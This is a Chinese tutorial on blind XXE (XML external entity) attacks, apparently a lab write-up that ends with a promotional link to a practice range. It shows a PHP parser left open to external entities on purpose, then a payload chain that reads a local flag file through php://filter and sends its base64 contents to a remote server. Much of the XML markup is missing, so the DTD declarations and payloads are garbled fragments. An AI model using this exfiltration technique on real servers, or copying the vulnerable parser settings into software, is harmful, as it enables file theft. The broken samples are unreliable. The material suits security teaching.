淺析無回顯的XXE(Blind XXE)
xml介紹
XML是一種非常流行的標記語言,在解析外部實體的過程中,XML解析器可以根據URL中指定的方案(協議)來查詢各種網絡協議和服務(DNS,FTP,HTTP,SMB等)。外部實體對于在文檔中創建動態引用非常有用,這樣對引用資源所做的任何更改都會在文檔中自動更新。但是,在處理外部實體時,可以針對應用程序啟動許多攻擊。這些攻擊包括泄露本地系統文件,這些文件可能包含密碼和私人用戶數據等敏感數據,或利用各種方案的網絡訪問功能來操縱內部應用程序。通過將這些攻擊與其他實現缺陷相結合,這些攻擊的范圍可以擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷,具體取決于這些攻擊的上下文。
內部實體
XML 文檔有自己的一個格式規范,這個格式規范是由一個叫做 DTD(document type definition) 的東西控制的。
//這一行是 XML 文檔定義
上面這個 DTD 就定義了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到時候必須像下面這么寫
<message> <receiver>Myselfreceiver> <sender>Someonesender> <header>TheReminderheader> <msg>This is an amazing bookmsg> message>
其實除了在 DTD 中定義元素(其實就是對應 XML 中的標簽)以外,我們還能在 DTD 中定義實體(對應XML 標簽中的內容),畢竟 XML 中除了能標簽以外,還需要有些內容是固定的
]>
這里 定義元素為 ANY 說明接受任何元素,但是定義了一個 xml 的實體(實體其實可以看成一個變量,到時候我們可以在 XML 中通過 & 符號進行引用),那么 XML 就可以寫成這樣
示例代碼:
&xxe; mypass
我們使用 &xxe 對 上面定義的 xxe 實體進行了引用,到時候輸出的時候 &xxe 就會被 "test" 替換。
外部實體
示例代碼:
]>
&xxe;
mypass
當然,還有一種引用方式是使用 引用公用 DTD 的方法,語法如下:
我們上面已經將實體分成了兩個派別(內部實體和外部外部),但是實際上從另一個角度看,實體也可以分成兩個派別(通用實體和參數實體)。
通用實體
用 &實體名;在DTD 中定義,在 XML 文檔中引用
]>
Joe
&file;
...
參數實體
(1)使用 % 實體名(這里面空格不能少) 在 DTD 中定義,并且只能在 DTD 中使用 %實體名; 引用(2)只有在 DTD 文件中,參數實體的聲明才能引用其他實體
(3)和通用實體一樣,參數實體也可以外部引用
示例代碼:
"> %an-element; %remote-dtd;
拋轉:參數實體在我們 Blind XXE 中起到了至關重要的作用
有回顯XXE
這個實驗的攻擊場景模擬的是在服務能接收并解析 XML 格式的輸入并且有回顯的時候,我們就能輸入我們自定義的 XML 代碼,通過引用外部實體的方法,引用服務器上面的文件。
本地服務器上放上解析 XML 的 php 代碼:
xml.php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
其中:LIBXML_NOENT: 將 XML 中的實體引用 替換 成對應的值
LIBXML_DTDLOAD: 加載 DOCTYPE 中的 DTD 文件
觸發xxe
]>

讀取本地服務器C盤的flag文件
]> &goodies;

引用外部實體讀取文件

引用方式是使用 引用公用 DTD 的方法讀取

無回顯XXE
有回顯的情況可以直接在頁面中看到Payload的執行結果或現象,無回顯的情況又稱為blind xxe,可以使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,然后將內容以http請求發送到接受數據的服務器。
xml.php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
"php://filter/read=convert.base64-encode/resource=file:///c:/xxx.txt"> ">
payload
%remote;%int;%send; ]>
我們從 payload 中能看到 連續調用了三個參數實體 %remote;%int;%send;,這就是我們的利用順序,%remote 先調用,調用后請求遠程服務器上的 test.dtd ,有點類似于將 test.dtd 包含進來,然后 %int 調用 test.dtd 中的 %file, %file 就會去獲取服務器上面的敏感文件,然后將 %file 的結果填入到 %send 以后(因為實體的值中不能有 %, 所以將其轉成html實體編碼 %),我們再調用 %send; 把我們的讀取到的數據發送到我們的遠程 vps 上,這樣就實現了外帶數據的效果,完美的解決了 XXE 無回顯的問題。


這樣,我們就讀到了flag文件的內容。
參考文章
https://xz.aliyun.com/t/3357#toc-10 一篇文章帶你深入理解漏洞之 XXE 漏洞
實戰靶場
復制鏈接到電腦端操作:https://www.hetianlab.com/expc.do?ec=ECID9117-d620-481d-91f8-344e0ac69dea&pk_campaign=weixin-wemedia#stu